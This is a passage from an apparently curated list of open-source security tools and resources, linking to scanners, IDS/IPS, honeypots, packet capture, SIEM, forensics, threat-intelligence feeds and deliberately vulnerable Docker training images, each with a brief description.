[Finshir](https://github.com/isgasho/finshir) - A coroutines-driven Low & Slow traffic generator, written in Rust. - [Legion](https://github.com/GoVanguard/legion) - Open source semi-automated discovery and reconnaissance network penetration testing framework. - [Sublist3r](https://github.com/aboul3la/Sublist3r) - Fast subdomains enumeration tool for penetration testers - [RustScan](https://github.com/RustScan/RustScan) - Faster Nmap scanning with Rust. Take a 17 minute Nmap scan down to 19 seconds. - [Boofuzz](https://github.com/jtpereyda/boofuzz) - Fuzzing engine and fuzz testing framework. - [monsoon](https://github.com/RedTeamPentesting/monsoon) - Very flexible and fast interactive HTTP enumeration/fuzzing. - [Netz](https://github.com/spectralops/netz)- Discover internet-wide misconfigurations, using zgrab2 and others. - [Deepfence ThreatMapper](https://github.com/deepfence/ThreatMapper) - Apache v2, powerful runtime vulnerability scanner for kubernetes, virtual machines and serverless. - [Deepfence SecretScanner](https://github.com/deepfence/SecretScanner) - Find secrets and passwords in container images and file systems. ### Monitoring / Logging - [BoxyHQ](https://github.com/retracedhq/retraced) - Open source API for security and compliance audit logging. - [justniffer](http://justniffer.sourceforge.net/) - Justniffer is a network protocol analyzer that captures network traffic and produces logs in a customized way, can emulate Apache web server log files, track response times and extract all "intercepted" files from the HTTP traffic. - [httpry](http://dumpsterventures.com/jason/httpry/) - httpry is a specialized packet sniffer designed for displaying and logging HTTP traffic. It is not intended to perform analysis itself, but to capture, parse, and log the traffic for later analysis. It can be run in real-time displaying the traffic as it is parsed, or as a daemon process that logs to an output file. It is written to be as lightweight and flexible as possible, so that it can be easily adaptable to different applications. - [ngrep](http://ngrep.sourceforge.net/) - ngrep strives to provide most of GNU grep's common features, applying them to the network layer. ngrep is a pcap-aware tool that will allow you to specify extended regular or hexadecimal expressions to match against data payloads of packets. It currently recognizes IPv4/6, TCP, UDP, ICMPv4/6, IGMP and Raw across Ethernet, PPP, SLIP, FDDI, Token Ring and null interfaces, and understands BPF filter logic in the same fashion as more common packet sniffing tools, such as tcpdump and snoop. - [passivedns](https://github.com/gamelinux/passivedns) - A tool to collect DNS records passively to aid Incident handling, Network Security Monitoring (NSM) and general digital forensics. PassiveDNS sniffs traffic from an interface or reads a pcap-file and outputs the DNS-server answers to a log file. PassiveDNS can cache/aggregate duplicate DNS answers in-memory, limiting the amount of data in the logfile without loosing the essens in the DNS answer. - [sagan](http://sagan.quadrantsec.com/) - Sagan uses a 'Snort like' engine and rules to analyze logs (syslog/event log/snmptrap/netflow/etc). - [Node Security Platform](https://nodesecurity.io/) - Similar feature set to Snyk, but free in most cases, and very cheap for others. - [ntopng](http://www.ntop.org/products/traffic-analysis/ntop/) - Ntopng is a network traffic probe that shows the network usage, similar to what the popular top Unix command does. - [Fibratus](https://github.com/rabbitstack/fibratus) - Fibratus is a tool for exploration and tracing of the Windows kernel. It is able to capture the most of the Windows kernel activity - process/thread creation and termination, file system I/O, registry, network activity, DLL loading/unloading and much more. Fibratus has a very simple CLI which encapsulates the machinery to start the kernel event stream collector, set kernel event filters or run the lightweight Python modules called filaments. - [opensnitch](https://github.com/evilsocket/opensnitch) - OpenSnitch is a GNU/Linux port of the Little Snitch application firewall - [wazuh](https://github.com/wazuh/wazuh) - Wazuh is a free and open source platform used for threat prevention, detection, and response. It is capable of monitoring file system changes, system calls and inventory changes. - [Matano](https://github.com/matanolabs/matano): Open source serverless security lake platform on AWS that lets you ingest, store, and analyze petabytes of security data into an Apache Iceberg data lake and run realtime Python detections as code. - [Falco](https://falco.org/) - The cloud-native runtime security project and de facto Kubernetes threat detection engine now part of the CNCF. - [VAST](https://github.com/tenzir/vast) - Open source security data pipeline engine for structured event data, supporting high-volume telemetry ingestion, compaction, and retrieval; purpose-built for security content execution, guided threat hunting, and large-scale investigation. ### IDS / IPS / Host IDS / Host IPS - [Snort](https://www.snort.org/) - Snort is a free and open source network intrusion prevention system (NIPS) and network intrusion detection system (NIDS)created by Martin Roesch in 1998. Snort is now developed by Sourcefire, of which Roesch is the founder and CTO. In 2009, Snort entered InfoWorld's Open Source Hall of Fame as one of the "greatest [pieces of] open source software of all time". - [Zeek](https://zeek.org/) - Zeek is a powerful network analysis framework that is much different from the typical IDS you may know. - [zeek2es](https://github.com/corelight/zeek2es) - An open source tool to convert Zeek logs to Elastic/OpenSearch. You can also output pure JSON from Zeek's TSV logs! - [OSSEC](https://ossec.github.io/) - Comprehensive Open Source HIDS. Not for the faint of heart. Takes a bit to get your head around how it works. Performs log analysis, file integrity checking, policy monitoring, rootkit detection, real-time alerting and active response. It runs on most operating systems, including Linux, MacOS, Solaris, HP-UX, AIX and Windows. Plenty of reasonable documentation. Sweet spot is medium to large deployments. - [Suricata](http://suricata-ids.org/) - Suricata is a high performance Network IDS, IPS and Network Security Monitoring engine. Open Source and owned by a community run non-profit foundation, the Open Information Security Foundation (OISF). Suricata is developed by the OISF and its supporting vendors. - [Security Onion](http://blog.securityonion.net/) - Security Onion is a Linux distro for intrusion detection, network security monitoring, and log management. It's based on Ubuntu and contains Snort, Suricata, Zeek, OSSEC, Sguil, Squert, Snorby, ELSA, Xplico, NetworkMiner, and many other security tools. The easy-to-use Setup wizard allows you to build an army of distributed sensors for your enterprise in minutes! - [sshwatch](https://github.com/marshyski/sshwatch) - IPS for SSH similar to DenyHosts written in Python. It also can gather information about attacker during the attack in a log. - [Stealth](https://fbb-git.gitlab.io/stealth/) - File integrity checker that leaves virtually no sediment. Controller runs from another machine, which makes it hard for an attacker to know that the file system is being checked at defined pseudo random intervals over SSH. Highly recommended for small to medium deployments. - [AIEngine](https://bitbucket.org/camp0/aiengine) - AIEngine is a next generation interactive/programmable Python/Ruby/Java/Lua packet inspection engine with capabilities of learning without any human intervention, NIDS(Network Intrusion Detection System) functionality, DNS domain classification, network collector, network forensics and many others. - [Denyhosts](http://denyhosts.sourceforge.net/) - Thwart SSH dictionary based attacks and brute force attacks. - [Fail2Ban](http://www.fail2ban.org/wiki/index.php/Main_Page) - Scans log files and takes action on IPs that show malicious behavior. - [SSHGuard](http://www.sshguard.net/) - A software to protect services in addition to SSH, written in C - [Lynis](https://cisofy.com/lynis/) - an open source security auditing tool for Linux/Unix. - [CrowdSec](https://github.com/crowdsecurity/crowdsec) - CrowdSec is a free, modern & collaborative behavior detection engine, coupled with a global IP reputation network. It stacks on Fail2Ban's philosophy but is IPV6 compatible and 60x faster (Go vs Python), uses Grok patterns to parse logs and YAML scenario to identify behaviors. CrowdSec is engineered for modern Cloud / Containers / VM based infrastructures (by decoupling detection and remediation). Once detected, you can remedy threats with various bouncers (firewall block, nginx http 403, Captchas, etc.) while the aggressive IPs can be sent to CrowdSec for curation before being shared among all users to further strengthen the community - [wazuh](https://github.com/wazuh/wazuh) - Wazuh is a free and open source XDR platform used for threat prevention, detection, and response. It is capable of protecting workloads across on-premises, virtualized, containerized, and cloud-based environments. Great tool foor all kind of deployments, it includes SIEM capabitilies (indexing + searching + WUI). ### Honey Pot / Honey Net - [awesome-honeypots](https://github.com/paralax/awesome-honeypots) - The canonical awesome honeypot list. - [HoneyPy](https://github.com/foospidy/HoneyPy) - HoneyPy is a low to medium interaction honeypot. It is intended to be easy to: deploy, extend functionality with plugins, and apply custom configurations. - [Conpot](http://conpot.org/) - ICS/SCADA Honeypot. Conpot is a low interactive server side Industrial Control Systems honeypot designed to be easy to deploy, modify and extend. By providing a range of common industrial control protocols we created the basics to build your own system, capable to emulate complex infrastructures to convince an adversary that he just found a huge industrial complex. To improve the deceptive capabilities, we also provided the possibility to server a custom human machine interface to increase the honeypots attack surface. The response times of the services can be artificially delayed to mimic the behaviour of a system under constant load. Because we are providing complete stacks of the protocols, Conpot can be accessed with productive HMI's or extended with real hardware. Conpot is developed under the umbrella of the Honeynet Project and on the shoulders of a couple of very big giants. - [Amun](https://github.com/zeroq/amun) - Amun Python-based low-interaction Honeypot. - [Glastopf](http://glastopf.org/) - Glastopf is a Honeypot which emulates thousands of vulnerabilities to gather data from attacks targeting web applications. The principle behind it is very simple: Reply the correct response to the attacker exploiting the web application. - [Kippo](https://github.com/desaster/kippo) - Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. - [Kojoney](http://kojoney.sourceforge.net/) - Kojoney is a low level interaction honeypot that emulates an SSH server. The daemon is written in Python using the Twisted Conch libraries. - [HonSSH](https://github.com/tnich/honssh) - HonSSH is a high-interaction Honey Pot solution. HonSSH will sit between an attacker and a honey pot, creating two separate SSH connections between them. - [Bifrozt](http://sourceforge.net/projects/bifrozt/) - Bifrozt is a NAT device with a DHCP server that is usually deployed with one NIC connected directly to the Internet and one NIC connected to the internal network. What differentiates Bifrozt from other standard NAT devices is its ability to work as a transparent SSHv2 proxy between an attacker and your honeypot. If you deployed an SSH server on Bifrozt’s internal network it would log all the interaction to a TTY file in plain text that could be viewed later and capture a copy of any files that were downloaded. You would not have to install any additional software, compile any kernel modules or use a specific version or type of operating system on the internal SSH server for this to work. It will limit outbound traffic to a set number of ports and will start to drop outbound packets on these ports when certain limits are exceeded. - [HoneyDrive](http://bruteforce.gr/honeydrive) - HoneyDrive is the premier honeypot Linux distro. It is a virtual appliance (OVA) with Xubuntu Desktop 12.04.4 LTS edition installed. It contains over 10 pre-installed and pre-configured honeypot software packages such as Kippo SSH honeypot, Dionaea and Amun malware honeypots, Honeyd low-interaction honeypot, Glastopf web honeypot and Wordpot, Conpot SCADA/ICS honeypot, Thug and PhoneyC honeyclients and more. Additionally it includes many useful pre-configured scripts and utilities to analyze, visualize and process the data it can capture, such as Kippo-Graph, Honeyd-Viz, DionaeaFR, an ELK stack and much more. Lastly, almost 90 well-known malware analysis, forensics and network monitoring related tools are also present in the distribution. - [Cuckoo Sandbox](http://www.cuckoosandbox.org/) - Cuckoo Sandbox is an Open Source software for automating analysis of suspicious files. To do so it makes use of custom components that monitor the behavior of the malicious processes while running in an isolated environment. - [T-Pot Honeypot Distro](http://dtag-dev-sec.github.io/mediator/feature/2017/11/07/t-pot-17.10.html) - T-Pot is based on the network installer of Ubuntu Server 16/17.x LTS. The honeypot daemons as well as other support components being used have been containerized using docker. This allows us to run multiple honeypot daemons on the same network interface while maintaining a small footprint and constrain each honeypot within its own environment. Installation over vanilla Ubuntu - [T-Pot Autoinstall](https://github.com/dtag-dev-sec/t-pot-autoinstall) - This script will install T-Pot 16.04/17.10 on a fresh Ubuntu 16.04.x LTS (64bit). It is intended to be used on hosted servers, where an Ubuntu base image is given and there is no ability to install custom ISO images. Successfully tested on vanilla Ubuntu 16.04.3 in VMware. ### Full Packet Capture / Forensic - [tcpflow](https://github.com/simsong/tcpflow) - tcpflow is a program that captures data transmitted as part of TCP connections (flows), and stores the data in a way that is convenient for protocol analysis and debugging. Each TCP flow is stored in its own file. Thus, the typical TCP flow will be stored in two files, one for each direction. tcpflow can also process stored 'tcpdump' packet flows. - [Deepfence PacketStreamer](https://github.com/deepfence/PacketStreamer) - High-performance remote packet capture and collection tool, distributed tcpdump for cloud native environments. - [Xplico](http://www.xplico.org/) - The goal of Xplico is extract from an internet traffic capture the applications data contained. For example, from a pcap file Xplico extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. Xplico isn’t a network protocol analyzer. Xplico is an open source Network Forensic Analysis Tool (NFAT). - [Moloch](https://github.com/aol/moloch) - Moloch is an open source, large scale IPv4 packet capturing (PCAP), indexing and database system. A simple web interface is provided for PCAP browsing, searching, and exporting. APIs are exposed that allow PCAP data and JSON-formatted session data to be downloaded directly. Simple security is implemented by using HTTPS and HTTP digest password support or by using apache in front. Moloch is not meant to replace IDS engines but instead work along side them to store and index all the network traffic in standard PCAP format, providing fast access. Moloch is built to be deployed across many systems and can scale to handle multiple gigabits/sec of traffic. - [OpenFPC](http://www.openfpc.org) - OpenFPC is a set of tools that combine to provide a lightweight full-packet network traffic recorder & buffering system. It's design goal is to allow non-expert users to deploy a distributed network traffic recorder on COTS hardware while integrating into existing alert and log management tools. - [Dshell](https://github.com/USArmyResearchLab/Dshell) - Dshell is a network forensic analysis framework. Enables rapid development of plugins to support the dissection of network packet captures. - [stenographer](https://github.com/google/stenographer) - Stenographer is a packet capture solution which aims to quickly spool all packets to disk, then provide simple, fast access to subsets of those packets. ### Sniffer - [wireshark](https://www.wireshark.org) - Wireshark is a free and open-source packet analyzer. It is used for network troubleshooting, analysis, software and communications protocol development, and education. Wireshark is very similar to tcpdump, but has a graphical front-end, plus some integrated sorting and filtering options. - [netsniff-ng](http://netsniff-ng.org/) - netsniff-ng is a free Linux networking toolkit, a Swiss army knife for your daily Linux network plumbing if you will. Its gain of performance is reached by zero-copy mechanisms, so that on packet reception and transmission the kernel does not need to copy packets from kernel space to user space and vice versa. - [Live HTTP headers ](https://addons.mozilla.org/en-US/firefox/addon/http-header-live/) - Live HTTP headers is a free firefox addon to see your browser requests in real time. It shows the entire headers of the requests and can be used to find the security loopholes in implementations. ### Security Information & Event Management - [Prelude](https://www.prelude-siem.org/) - Prelude is a Universal "Security Information & Event Management" (SIEM) system. Prelude collects, normalizes, sorts, aggregates, correlates and reports all security-related events independently of the product brand or license giving rise to such events; Prelude is "agentless". - [OSSIM](https://www.alienvault.com/open-threat-exchange/projects) - OSSIM provides all of the features that a security professional needs from a SIEM offering – event collection, normalization, and correlation. - [FIR](https://github.com/certsocietegenerale/FIR) - Fast Incident Response, a cybersecurity incident management platform. - [LogESP](https://github.com/dogoncouch/LogESP) - Open Source SIEM (Security Information and Event Management system). - [wazuh](https://github.com/wazuh/wazuh) -Wazuh is a free, open source and enterprise-ready security monitoring solution for threat detection, integrity monitoring, incident response and compliance. It works with tons of data supported by an OpenSearch fork and custom WUI. - [VAST](https://github.com/tenzir/vast) - Open source security data pipeline engine for structured event data, supporting high-volume telemetry ingestion, compaction, and retrieval; purpose-built for security content execution, guided threat hunting, and large-scale investigation. - [Matano](https://github.com/matanolabs/matano) - Open source serverless security lake platform on AWS that lets you ingest, store, and analyze petabytes of security data into an Apache Iceberg data lake and run realtime Python detections as code. ### VPN - [OpenVPN](https://openvpn.net/) - OpenVPN is an open source software application that implements virtual private network (VPN) techniques for creating secure point-to-point or site-to-site connections in routed or bridged configurations and remote access facilities. It uses a custom security protocol that utilizes SSL/TLS for key exchange. - [Firezone](https://github.com/firezone/firezone) - Open-source VPN server and egress firewall for Linux built on WireGuard that makes it simple to manage secure remote access to your company’s private networks. Firezone is easy to set up (all dependencies are bundled thanks to Chef Omnibus), secure, performant, and self hostable. ### Fast Packet Processing - [DPDK](http://dpdk.org/) - DPDK is a set of libraries and drivers for fast packet processing. - [PFQ](https://github.com/pfq/PFQ) - PFQ is a functional networking framework designed for the Linux operating system that allows efficient packets capture/transmission (10G and beyond), in-kernel functional processing and packets steering across sockets/end-points. - [PF_RING](http://www.ntop.org/products/packet-capture/pf_ring/) - PF_RING is a new type of network socket that dramatically improves the packet capture speed. - [PF_RING ZC (Zero Copy)](http://www.ntop.org/products/packet-capture/pf_ring/pf_ring-zc-zero-copy/) - PF_RING ZC (Zero Copy) is a flexible packet processing framework that allows you to achieve 1/10 Gbit line rate packet processing (both RX and TX) at any packet size. It implements zero copy operations including patterns for inter-process and inter-VM (KVM) communications. - [PACKET_MMAP/TPACKET/AF_PACKET](https://elixir.bootlin.com/linux/latest/source/Documentation/networking/packet_mmap.rst) - It's fine to use PACKET_MMAP to improve the performance of the capture and transmission process in Linux. - [netmap](http://info.iet.unipi.it/~luigi/netmap/) - netmap is a framework for high speed packet I/O. Together with its companion VALE software switch, it is implemented as a single kernel module and available for FreeBSD, Linux and now also Windows. ### Firewall - [pfSense](https://www.pfsense.org/) - Firewall and Router FreeBSD distribution. - [OPNsense](https://opnsense.org/) - is an open source, easy-to-use and easy-to-build FreeBSD based firewall and routing platform. OPNsense includes most of the features available in expensive commercial firewalls, and more in many cases. It brings the rich feature set of commercial offerings with the benefits of open and verifiable sources. - [fwknop](https://www.cipherdyne.org/fwknop/) - Protects ports via Single Packet Authorization in your firewall. ### Anti-Spam - [Spam Scanner](https://github.com/spamscanner) - Anti-Spam Scanning Service and Anti-Spam API by [@niftylettuce](https://github.com/niftylettuce). - [rspamd](https://github.com/rspamd/rspamd) - Fast, free and open-source spam filtering system. - [SpamAssassin](https://spamassassin.apache.org/) - A powerful and popular email spam filter employing a variety of detection technique. - [Scammer-List](https://scammerlist.now.sh/) - A free open source AI based Scam and Spam Finder with a free API ### Docker Images for Penetration Testing & Security - `docker pull kalilinux/kali-linux-docker` [official Kali Linux](https://hub.docker.com/r/kalilinux/kali-linux-docker/) - `docker pull owasp/zap2docker-stable` - [official OWASP ZAP](https://github.com/zaproxy/zaproxy) - `docker pull wpscanteam/wpscan` - [official WPScan](https://hub.docker.com/r/wpscanteam/wpscan/) - `docker pull remnux/metasploit` - [docker-metasploit](https://hub.docker.com/r/remnux/metasploit/) - `docker pull citizenstig/dvwa` - [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/citizenstig/dvwa/) - `docker pull wpscanteam/vulnerablewordpress` - [Vulnerable WordPress Installation](https://hub.docker.com/r/wpscanteam/vulnerablewordpress/) - `docker pull hmlio/vaas-cve-2014-6271` - [Vulnerability as a service: Shellshock](https://hub.docker.com/r/hmlio/vaas-cve-2014-6271/) - `docker pull hmlio/vaas-cve-2014-0160` - [Vulnerability as a service: Heartbleed](https://hub.docker.com/r/hmlio/vaas-cve-2014-0160/) - `docker pull opendns/security-ninjas` - [Security Ninjas](https://hub.docker.com/r/opendns/security-ninjas/) - `docker pull diogomonica/docker-bench-security` - [Docker Bench for Security](https://hub.docker.com/r/diogomonica/docker-bench-security/) - `docker pull ismisepaul/securityshepherd` - [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/) - `docker pull danmx/docker-owasp-webgoat` - [OWASP WebGoat Project docker image](https://hub.docker.com/r/danmx/docker-owasp-webgoat/) - `docker-compose build && docker-compose up` - [OWASP NodeGoat](https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker) - `docker pull citizenstig/nowasp` - [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/) - `docker pull bkimminich/juice-shop` - [OWASP Juice Shop](https://hub.docker.com/r/bkimminich/juice-shop) - `docker pull jeroenwillemsen/wrongsecrets`- [OWASP WrongSecrets](https://hub.docker.com/r/jeroenwillemsen/wrongsecrets) - `docker run -dit --name trd -p 8081:80 cylabs/cy-threat-response` - [Cyware Threat Response Docker](https://hub.docker.com/r/cylabs/cy-threat-response) - `docker-compose -d up` - [cicd-goat](https://github.com/cider-security-research/cicd-goat) ## Endpoint ### Anti-Virus / Anti-Malware - [Fastfinder](https://github.com/codeyourweb/fastfinder) - Fast customisable cross-platform suspicious file finder. Supports md5/sha1/sha256 hashs, litteral/wildcard strings, regular expressions and YARA rules. Can easily be packed to be deployed on any windows / linux host. - [Linux Malware Detect](https://www.rfxn.com/projects/linux-malware-detect/) - A malware scanner for Linux designed around the threats faced in shared hosted environments. - [LOKI](https://github.com/Neo23x0/Loki) - Simple Indicators of Compromise and Incident Response Scanner - [rkhunter](http://rkhunter.sourceforge.net/) - A Rootkit Hunter for Linux - [ClamAv](http://www.clamav.net/) - ClamAV® is an open-source antivirus engine for detecting trojans, viruses, malware & other malicious threats. ### Content Disarm & Reconstruct - [DocBleach](https://github.com/docbleach/DocBleach) - An open-source Content Disarm & Reconstruct software sanitizing Office, PDF and RTF Documents. ### Configuration Management - [Fleet device management](https://github.com/fleetdm/fleet) - Fleet is the lightweight, programmable telemetry platform for servers and workstations. Get comprehensive, customizable data from all your devices and operating systems. - [Rudder](http://www.rudder-project.org/) - Rudder is an easy to use, web-driven, role-based solution for IT Infrastructure Automation & Compliance. Automate common system administration tasks (installation, configuration); Enforce configuration over time (configuring once is good, ensuring that configuration is valid and automatically fixing it is better); Inventory of all managed nodes; Web interface to configure and manage nodes and their configuration; Compliance reporting, by configuration and/or by node. ### Authentication - [google-authenticator](https://github.com/google/google-authenticator) - The Google Authenticator project includes implementations of one-time passcode generators for several mobile platforms, as well as a pluggable authentication module (PAM). One-time passcodes are generated using open standards developed by the Initiative for Open Authentication (OATH) (which is unrelated to OAuth). These implementations support the HMAC-Based One-time Password (HOTP) algorithm specified in RFC 4226 and the Time-based One-time Password (TOTP) algorithm specified in RFC 6238. [Tutorials: How to set up two-factor authentication for SSH login on Linux](http://xmodulo.com/two-factor-authentication-ssh-login-linux.html) - [Stegcloak](https://github.com/kurolabs/stegcloak) - Securely assign Digital Authenticity to any written text ### Mobile / Android / iOS - [android-security-awesome](https://github.com/ashishb/android-security-awesome) - A collection of android security related resources. A lot of work is happening in academia and industry on tools to perform dynamic analysis, static analysis and reverse engineering of android apps. - [SecMobi Wiki](http://wiki.secmobi.com/) - A collection of mobile security resources which including articles, blogs, books, groups, projects, tools and conferences. * - [OWASP Mobile Security Testing Guide](https://github.com/OWASP/owasp-mstg) - A comprehensive manual for mobile app security testing and reverse engineering. - [OSX Security Awesome](https://github.com/kai5263499/osx-security-awesome) - A collection of OSX and iOS security resources - [Themis](https://github.com/cossacklabs/themis) - High-level multi-platform cryptographic framework for protecting sensitive data: secure messaging with forward secrecy and secure data storage (AES256GCM), suits for building end-to-end encrypted applications. - [Mobile Security Wiki](https://mobilesecuritywiki.com/) - A collection of mobile security resources. - [Apktool](https://github.com/iBotPeaches/Apktool) - A tool for reverse engineering Android apk files. - [jadx](https://github.com/skylot/jadx) - Command line and GUI tools for produce Java source code from Android Dex and Apk files. - [enjarify](https://github.com/Storyyeller/enjarify) - A tool for translating Dalvik bytecode to equivalent Java bytecode. - [Android Storage Extractor](https://github.com/51j0/Android-Storage-Extractor) - A tool to extract local data storage of an Android application in one click. - [Quark-Engine](https://github.com/quark-engine/quark-engine) - An Obfuscation-Neglect Android Malware Scoring System. - [dotPeek](https://www.jetbrains.com/decompiler/) - Free-of-charge standalone tool based on ReSharper's bundled decompiler. - [hardened_malloc](https://github.com/GrapheneOS/hardened_malloc) - Hardened allocator designed for modern systems. It has integration into Android's Bionic libc and can be used externally with musl and glibc as a dynamic library for use on other Linux-based platforms. It will gain more portability / integration over time. - [AMExtractor](https://github.com/ir193/AMExtractor) - AMExtractor can dump out the physical content of your Android device even without kernel source code. - [frida](https://github.com/frida/frida) - Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. - [UDcide](https://github.com/UDcide/udcide) - Android Malware Behavior Editor. - [reFlutter](https://github.com/ptswarm/reFlutter) - Flutter Reverse Engineering Framework ### Forensics - [grr](https://github.com/google/grr) - GRR Rapid Response is an incident response framework focused on remote live forensics. - [Volatility](https://github.com/volatilityfoundation/volatility) - Python based memory extraction and analysis framework. - [mig](http://mig.mozilla.org/) - MIG is a platform to perform investigative surgery on remote endpoints. It enables investigators to obtain information from large numbers of systems in parallel, thus accelerating investigation of incidents and day-to-day operations security. - [ir-rescue](https://github.com/diogo-fernan/ir-rescue) - *ir-rescue* is a Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response. - [Logdissect](https://github.com/dogoncouch/logdissect) - CLI utility and Python API for analyzing log files and other data. - [Meerkat](https://github.com/TonyPhipps/Meerkat) - PowerShell-based Windows artifact collection for threat hunting and incident response. - [Rekall](https://github.com/google/rekall) - The Rekall Framework is a completely open collection of tools, implemented in Python under the Apache and GNU General Public License, for the extraction and analysis of digital artifacts computer systems. - [LiME](https://github.com/504ensicsLabs/LiME.git) - Linux Memory Extractor - [Maigret](https://github.com/soxoj/maigret) - Maigret collect a dossier on a person by username only, checking for accounts on a huge number of sites and gathering all the available information from web pages. ## Threat Intelligence - [abuse.ch](https://www.abuse.ch/) - ZeuS Tracker / SpyEye Tracker / Palevo Tracker / Feodo Tracker tracks Command&Control servers (hosts) around the world and provides you a domain- and an IP-blocklist. - [Cyware Threat Intelligence Feeds](https://cyware.com/community/ctix-feeds) - Cyware’s Threat Intelligence feeds brings to you the valuable threat data from a wide range of open and trusted sources to deliver a consolidated stream of valuable and actionable threat intelligence. Our threat intel feeds are fully compatible with STIX 1.x and 2.0, giving you the latest information on malicious malware hashes, IPs and domains uncovered across the globe in real-time. - [Emerging Threats - Open Source](http://doc.emergingthreats.net/bin/view/Main/EmergingFAQ) - Emerging Threats began 10 years ago as an open source community for collecting Suricata and SNORT® rules, firewall rules, and other IDS rulesets. The open source community still plays an active role in Internet security, with more than 200,000 active users downloading the ruleset daily. The ETOpen Ruleset is open to any user or organization, as long as you follow some basic guidelines. Our ETOpen Ruleset is available for download any time. - [PhishTank](http://www.phishtank.com/) - PhishTank is a collaborative clearing house for data and information about phishing on the Internet. Also, PhishTank provides an open API for developers and researchers to integrate anti-phishing data into their applications at no charge. - [SBL / XBL / PBL / DBL / DROP / ROKSO](http://www.spamhaus.org/) - The Spamhaus Project is an international nonprofit organization whose mission is to track the Internet's spam operations and sources, to provide dependable realtime anti-spam protection for Internet networks, to work with Law Enforcement Agencies to identify and pursue spam and malware gangs worldwide, and to lobby governments for effective anti-spam legislation. - [Internet Storm Center](https://www.dshield.org/reports.html) - The ISC was created in 2001 following the successful detection, analysis, and widespread warning of the Li0n worm. Today, the ISC provides a free analysis and warning service to thousands of Internet users and organizations, and is actively working with Internet Service Providers to fight back against the most malicious attackers. - [AutoShun](https://www.autoshun.org/) - AutoShun is a Snort plugin that allows you to send your Snort IDS logs to a centralized server that will correlate attacks from your sensor logs with other snort sensors, honeypots, and mail filters from around the world. - [DNS-BH](http://www.malwaredomains.com/) - The DNS-BH project creates and maintains a listing of domains that are known to be used to propagate malware and spyware. This project creates the Bind and Windows zone files required to serve fake replies to localhost for any requests to these, thus preventing many spyware installs and reporting. - [AlienVault Open Threat Exchange](http://www.alienvault.com/open-threat-exchange/dashboard) - AlienVault Open Threat Exchange (OTX), to help you secure your networks from data loss, service disruption and system compromise caused by malicious IP addresses. - [Tor Bulk Exit List](https://metrics.torproject.org/collector.html) - CollecTor, your friendly data-collecting service in the Tor network. CollecTor fetches data from various nodes and services in the public Tor network and makes it available to the world. If you're doing research on the Tor network, or if you're developing an application that uses Tor network data, this is your place to start. [TOR Node List](https://www.dan.me.uk/tornodes) / [DNS Blacklists](https://www.dan.me.uk/dnsbl) / [Tor Node List](http://torstatus.blutmagie.de/) - [leakedin.com](http://www.leakedin.com/) - The primary purpose of leakedin.com is to make visitors aware about the risks of loosing data. This blog just compiles samples of data lost or disclosed on sites like pastebin.com. - [FireEye OpenIOCs](https://github.com/fireeye/iocs) - FireEye Publicly Shared Indicators of Compromise (IOCs) - [OpenVAS NVT Feed](http://www.openvas.org/openvas-nvt-feed.html) - The public feed of Network Vulnerability Tests (NVTs). It contains more than 35,000 NVTs (as of April 2014), growing on a daily basis. This feed is configured as the default for OpenVAS. - [Project Honey Pot](http://www.projecthoneypot.org/) - Project Honey Pot is the first and only distributed system for identifying spammers and the spambots they use to scrape addresses from your website. Using the Project Honey Pot system you can install addresses that are custom-tagged to the time and IP address of a visitor to your site. If one of these addresses begins receiving email we not only can tell that the messages are spam, but also the exact moment when the address was harvested and the IP address that gathered it. - [virustotal](https://www.virustotal.com/) - VirusTotal, a subsidiary of Google, is a free online service that analyzes files and URLs enabling the identification of viruses, worms, trojans and other kinds of malicious content detected by antivirus engines and website scanners. At the same time, it may be used as a means to detect false positives, i.e. innocuous resources detected as malicious by one or more scanners. - [IntelMQ](https://github.com/certtools/intelmq/) - IntelMQ is a solution for CERTs for collecting and processing security feeds, pastebins, tweets using a message queue protocol. It's a community driven initiative called IHAP (Incident Handling Automation Project) which was conceptually designed by European CERTs during several InfoSec events. Its main goal is to give to incident responders an easy way to collect & process threat intelligence thus improving the incident handling processes of CERTs. [ENSIA Homepage](https://www.enisa.europa.eu/activities/cert/support/incident-handling-automation). - [CIFv2](https://github.com/csirtgadgets/massive-octo-spice) - CIF is a cyber threat intelligence management system. CIF allows you to combine known malicious threat information from many sources and use that information for identification (incident response), detection (IDS) and mitigation (null route). - [MISP - Open Source Threat Intelligence Platform ](https://www.misp-project.org/) - MISP threat sharing platform is a free and open source software helping information sharing of threat intelligence including cyber security indicators. A threat intelligence platform for gathering, sharing, storing and correlating Indicators of Compromise of targeted attacks, threat intelligence, financial fraud information, vulnerability information or even counter-terrorism information. The MISP project includes software, common libraries ([taxonomies](https://www.misp-project.org/taxonomies.html), [threat-actors and various malware](https://www.misp-project.org/galaxy.html)), an extensive data model to share new information using [objects](https://www.misp-project.org/objects.html) and default [feeds](https://www.misp-project.org/feeds/). - [PhishStats](https://phishstats.info/) - Phishing Statistics with search for IP, domain and website title. - [Threat Jammer](https://threatjammer.com) - REST API service that allows developers, security engineers, and other IT professionals to access curated threat intelligence data from a variety of sources. - [Cyberowl](https://github.com/karimhabush/cyberowl) - A daily updated summary of the most frequent types of security incidents currently being reported from different sources. ## Social Engineering - [Gophish](https://getgophish.com/) - An Open-Source Phishing Framework. ## Web ### Organization - [OWASP](http://www.owasp.org) - The Open Web Application Security Project (OWASP) is a 501(c)(3) worldwide not-for-profit charitable organization focused on improving the security of software. - [Portswigger](https://portswigger.net) - PortSwigger offers tools for web application security, testing & scanning. Choose from a wide range of security tools & identify the very latest vulnerabilities. ### Web Application Firewall - [ModSecurity](http://www.modsecurity.org/) - ModSecurity is a toolkit for real-time web application monitoring, logging, and access control. - [NAXSI](https://github.com/nbs-system/naxsi) - NAXSI is an open-source, high performance, low rules maintenance WAF for NGINX, NAXSI means Nginx Anti Xss & Sql Injection. - [sql_firewall](https://github.com/uptimejp/sql_firewall) SQL Firewall Extension for PostgreSQL - [ironbee](https://github.com/ironbee/ironbee) - IronBee is an open source project to build a universal web application security sensor. IronBee as a framework for developing a system for securing web applications - a framework for building a web application firewall (WAF). - [Curiefense](https://github.com/curiefense/curiefense) - Curiefense adds a broad set of automated web security tools, including a 